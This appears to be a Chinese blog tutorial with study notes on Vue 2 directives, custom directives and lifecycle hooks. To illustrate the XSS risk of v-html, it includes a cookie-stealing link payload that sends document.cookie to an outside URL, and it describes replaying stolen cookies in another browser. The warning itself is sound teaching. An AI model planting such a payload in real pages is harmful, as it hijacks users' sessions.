一、Vue核心下篇
1.15 常用的内置指令
1. v-text
<!--准备好一个容器 --><div id="root"><!-- 1.v-text中的字符替换掉div整个字符 --><div v-text="name">你好,{{name}}</div><!-- 2.将标签当做字符串解析 --><div v-text="str"></div></div>new Vue({el: '#root',data: {name: '哈哈哈',str: '<h2>你好</h2>'},methods: {}});
2.v-html
功能1.解析标签结构
<!--准备好一个容器 --><div id="root"><!-- v-text将标签当做字符串解析 --><div v-text="str"></div><!-- 支持结构解析 --><div v-html="str"></div></div>new Vue({el: '#root',data: {name: '哈哈哈',str: '<h2>你好</h2>'}});
功能2.安全性问题
步骤一:先讲cookie的工作原理
图上是登录github,这里我用csdn登录举例:
1.第一次请求和第一次响应对应①和②
我们在谷歌浏览器(其他浏览器也可以)登录csdn,输入用户名密码请求登录,发往csdn服务器;csdn服务器校验完成,就会返回给用户跳转个人中心,并且返回红色k1v1、k2v2等一大堆cookie字符串,这些字符串都属于csdn网站的重要信息(身份标识,包括用户名 密码);chrome浏览器接收之后就会保存这些网站的信息,放在放在一块区域,其他网站登录信息啥的,也需要chorme保存,但是存在放在其他区域。
2.第二次请求和第二次响应 对应③和④
已经登录在chorome浏览器的csdn用户想要查看自己blog里面的内容,如个人中、内容管理,都需要跳转页面,chorme就会发送请求给csdn服务器,并且带着之前保存的网站的cookie信息;csdn服务器经过校验就会响应,并且返回给网站cookie信息,也就是k3v3等信息(注意:这里信息有时候登录时机会返回所有cookie信息,有时是相应一点给一点)。k3v3等信息又会继续储存在chrome浏览器原来给这一网站划分的区域中。
步骤二:图下表示:但是chorme浏览器储存的用户csdn网站的cookie信息不能被其他浏览器知道,如果知道会很可怕!大家联想一下就会明白
服务器给的cookie至关重要!也就是如下信息如果被盗走,不轨之徒就可以利用这些信息虚拟用户身份,向csdn服务器发送cookie信息,并且进行登陆了!这样我们的信息就会被盗走了!!!
当然大家想要自己仿造,尅在chrome浏览器登录状态找到cookie信息,使用cookie editor插件复制,然后在例如火狐浏览器大局csdn网站,使用cookie editor插件粘贴就可以登陆了。
综上所述,所以cookie工作原理,实际上就是我们用淘宝买东西,在淘宝网登录自己密码用户名,而这些信息被放在网站的某一个位置,这些信息我们称为cookie,cookie存放的位置属于本地存储(application),所以不会丢失,这样我们在淘宝网浏览一页一页的东西肯定会牵涉到跳转页面,此时跳转页面也不会cookie信息丢失,也就是带着登录信息,我们只要获取这个登录信息都可以登录这个账号。
步骤三:联系到我们自己写的代码中:
data: {name: '哈哈哈',// 先尝试 看看点击能不能有alert弹出// str: '<a href=javascript:alert(1)>你好</a>'str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>一些具有诱惑性的语言 大家看到忍不住点</a>'}
document.cookie下列情况可以使用这个办法获得用cookie信息
当然,大家也需要放心,官网网站都会有HttpOnliy选中模式,不会被盗取,可是没有被选中就倒霉了!!!
所以v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
如input框,用户已提交,如果不法分子在上面绑定了cookie,就会连带用户cookie信息一起获取
***这里有个问题:***想通过dovument.cokie只有用户可以查到信息,跳转页面也看不到这些信息啊?思路不是这样想的,依据cookie工作原理,用户自己页面其实就是登录上的状态,包含着自己的cookie信息,当你想要跳转其他页面的时候,其实到时候服务器返回的cookie信息不止当前页面的cookie信息,还包含之前的。并不是说肉眼没看到自己的key value(a:1;b:2)好像就没有。
3.v-cloak
原理:主要是为了解决网速过慢,导致未经解析的模版跑到页面上。那样做太丑了
给模版添加v-cloak,当vue.js还没有缓存出来的时候,因为v-cloak 添加了css隐藏属性 所以不会展示在页面 当缓存出来的同时v-cloak会自动消失,页面就出来了
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<style>[v-cloak]{display:none;}</style><!-- 准备好一个容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>new Vue({el:'#root',data:{name:'尚硅谷'}})
4. v-once指令
v-once所在节点在初次动态渲染后就变成静态内容了,以后数据改变不会引起v-once所在结构的变化
<div id="root"><!-- v-once所在节点在初次动态渲染后就变成静态内容了,以后数据改变不会引起v-once所在结构的变化 --><h2 v-once>初始化值是{{n}}</h2><h2>当前的n值是{{n}}</h2><button @click="n++">点我n++</button></div>new Vue({el: '#root',data: {n: 1}})
5.v-pre指令
<div id="root"><!-- 加上该指令 Vue不需要解析,直接在页面上呈现里面的东西,也就是跳过指令语法 插值语法解析的操作,用于一些不用解析的东西 会加快编译 --><h2 v-pre>Vue其实很简单</h2></div>new Vue({el: '#root',data: {n: 1}})
1.16 自定义指令
自定义指令有两种形式:函数式、对象式
需求一:定义一个v-big指令,和v-text指令功能类似,但会把绑定的数值放大10倍
思路:首先验证自定义big指令中,函数的参数表示什么;通过知道第二个参数存放着指令信息,利用bingding参数绑定dom元素和big指令信息展示在页面上。接着探讨big函数合适被调用,通过打印‘’big被调用‘’被输出来体现
<!--准备好一个容器 --><div id="root"><h2>当前的n值是<span v-text="n"></span></h2><!-- 如果还未定义big函数 会报错 这里是因为没有定义big函数(另外如果在其他代码中可以联想是否单词写错两种情况) --><!-- 当定义了big函数之后 只要这里一使用V-big 就会调用big函数 --><h2>放大10倍后的值是<span v-big="n"></span></h2><button @click="n++">点我m++</button></div>new Vue({el: '#root',// 配置数据data: {n: 1}, directives: {// big表示指令的名字// 1.首先验证参数表示什么2,利用参数定义big// 验证参数分别dom元素和对象 对象中主要关注value值是v-big等于的值 //第二个参数主要是让dom元素与v-big有一个关联 所以是binding 接着进行dom操作big: function (element, binding) {// 通过打印看被调用了几次console.log('big函数被调用了 ')// 指定所绑定的dom元素console.dir(element)// 使用instanceof验证真实domconsole.log(element instanceof HTMLElement)// 一个包含指令信息的对象 主要关注valueconsole.dir(binding)element.innerText = binding.value * 10}}});
需求二:定义一个v-fbind指令,和v-bind指令功能类似,但会让绑定的input元素默认获取加焦点
<div id="root"><input type="text" v-fbind:value="n"><!-- <h2>放大10倍后的n值是<span v-big="n"></span></h2> --><button @click="n++">点击n++</button></div>new Vue({el: '#root',data: {n: 1},// 像之前的计算、侦听属性一样都是配置对象directives: {// 函数式为什么不好用了?// fbind (element, binding) {// console.log('bind函数被调用', this)// element.value = binding.value * 20// // 实现不了 首先要input框先放入页面才能聚焦 所以就引出了出现多个阶段才能实现 引出对象式 引出该自定义指令中包含几个钩子函数// // element.focus()// }// 引出对象式fbind: {bind (element, binding) {element.value = binding.value * 20},inserted (element, binding) {element.focus()}, update (element, binding) {element.value = binding.value * 20}}}});
都是局部指令,将局部指令转化为全局指令
对象式
函数式
1.17 生命周期
1.引出生命周期
我们使用几个文字,将这些文字每隔一段时间自动(开启定时器)变淡。三种情况:第一种:使用methods方法,但是需要设置监听事件才能触发,不是我们想象的文字一展示在页面自动每隔一段时间就改变,pass 第二种,将定时器设置在vue实例外部,但是我要的是放在vue内部,所以pass 第三种:使用生命周期,当vue模版被解析到页面上挂载完毕,开始开启定时器
<!--准备好一个容器 --><div id="root"><h2 :style="{opacity}">欢迎学习Vue</h2>{{change()}}</div>const vm = new Vue({el: '#root',data: {opacity: 1},methods: {// 1.需要设置一个事件才能引起触发 不合理 pass// change () {// console.log('设置一个函数自动开启定时器')// setInterval(() => {// this.opacity -= 0.1// if (this.opacity <= 0) this.opacity = 1// }, 100)// }},// 引出生命周期// 用于Vue完成模版的解析并把刚开始的真实DOM放入页面后(挂载完毕),调用mounted 生命周期中this指向vmmounted () {setInterval(() => {this.opacity -= 0.1if (this.opacity <= 0) this.opacity = 1}, 100)}})// 2.在vue外部可以实现自动开启定时器 但是在vue外部不太好 pass// setInterval(() => {// vm.opacity -= 0.1// if (vm.opacity <= 0) vm.opacity = 1// }, 100)
2.分析生命周期
生命周期挂载流程
生命周期更新流程
更新周期代码
<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Document</title><script src="../../js/vue.js"></script>
</head><body><!--准备好一个容器 --><div id="root"><h2>当前的n值是{{n}}</h2><!-- 销毁的是原生dom事件 --><button @click="add">点我n+1</button><button @click="bye">点我销毁一下</button></div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el: '#root',// template: `// <div><h2>当前的n值是{{n}}</h2>// <button @click="n++">点我n+1</button></div>`,data: {n: 1},methods: {add () {console.log('add')this.n++},},beforeCreate () {console.log('beforeCreate')console.log(this)// debugger}, created () {console.log('created')console.log(this)// debugger}, beforeMount () {console.log('beforeMount')console.log(this)// 在控制台操作能够演示变化 因为vue解析模版一系列过程是一瞬间的过程,所以太快根本看不出来变化// document.querySelector('h2').innerText = '哈哈'// debugger},mounted () {console.log('mounted')console.log(this)// 查看是否为真实dom// console.log(this.$el, this.$el instanceof HTMLElement)// 有效但是尽量避免// document.querySelector('h2').innerText = '哈哈'// debugger},beforeUpdate () {console.log('beforeUpdate')// console.log(this.n)// debugger}, updated () {console.log('updated')// console.log(this.n)// debugger},})</script>
</body></html>
销毁周期代码
<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Document</title><script src="../../js/vue.js"></script>
</head><body><!--准备好一个容器 --><div id="root"><h2>当前的n值是{{n}}</h2><!-- 销毁的是自定义事件 原生dom事件不会销毁 即使销毁一万次 原生dom事件也不会销毁 所以vue页面上不会显示 但是在控制台还是能打印--><button @click="add">点我n+1</button><button @click="bye">点我销毁一下</button></div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el: '#root',// template: `// <div><h2>当前的n值是{{n}}</h2>// <button @click="n++">点我n+1</button></div>`,data: {n: 1},methods: {add () {// 这里我这边验证的是销毁了就是销毁了 跟老师讲的不一样console.log('add')this.n++}, bye () {this.$destroy()}// 销毁后不调用watch}, watch: {n () {console.log('n变了')}},beforeCreate () {console.log('beforeCreate')console.log(this)// debugger}, created () {console.log('created')console.log(this)// debugger}, beforeMount () {console.log('beforeMount')console.log(this)// 在控制台操作能够演示变化 因为vue解析模版一系列过程是一瞬间的过程,所以太快根本看不出来变化// document.querySelector('h2').innerText = '哈哈'// debugger},mounted () {console.log('mounted')console.log(this)// 查看是否为真实dom// console.log(this.$el, this.$el instanceof HTMLElement)// 有效但是尽量避免// document.querySelector('h2').innerText = '哈哈'// debugger},beforeUpdate () {console.log('beforeUpdate')// console.log(this.n)// debugger}, updated () {console.log('updated')// console.log(this.n)// debugger}, beforeDestroy () {console.log('beforeDestroy')console.log(this.n)// 在此阶段所有对数据的而修改不会再触发更新了,就不要访问数据了this.add()}, destroyed () {console.log('destroyed')},})</script>
</body></html>
案例:通过生命周期来实现定时器的停止变换
<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Document</title><script src="../../js/vue.js"></script>
</head><body><div id="root"><h2 :style="{opacity}">欢迎学习Vue</h2><button @click="stop">点我停止变换</button><!-- 使用关闭定时器的方式很温柔 --><button @click="opacity=1">透明度设置为1</button></div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el: '#root',data: {opacity: 1},methods: {stop () {// clearInterval(this.timer)this.$destroy()}},mounted () {// Vue完成模版的解析并把初始的真实DOM放入页面后(挂在完毕),调用mountedconsole.log('mounted')// 往vm中存 但是不用定义变量吗?这里就死记硬背吧 在vm中赋值 因为数据代理 vue会帮你做响应式this.timer = setInterval(() => {this.opacity -= 0.1// 为什么加小于号 作者是因为避免跳过0直接变成负数if (this.opacity <= 0) this.opacity = 1}, 500)}, beforeDestroy () {console.log('vm即将驾鹤西游了')// 只要销毁 就把一些东西安排好clearInterval(this.timer)},})</script>
</body></html>
](https://img-blog.csdnimg.cn/direct/e7128460effb4f98b9b852453d177f7a.png#pic_center)
总结生命周期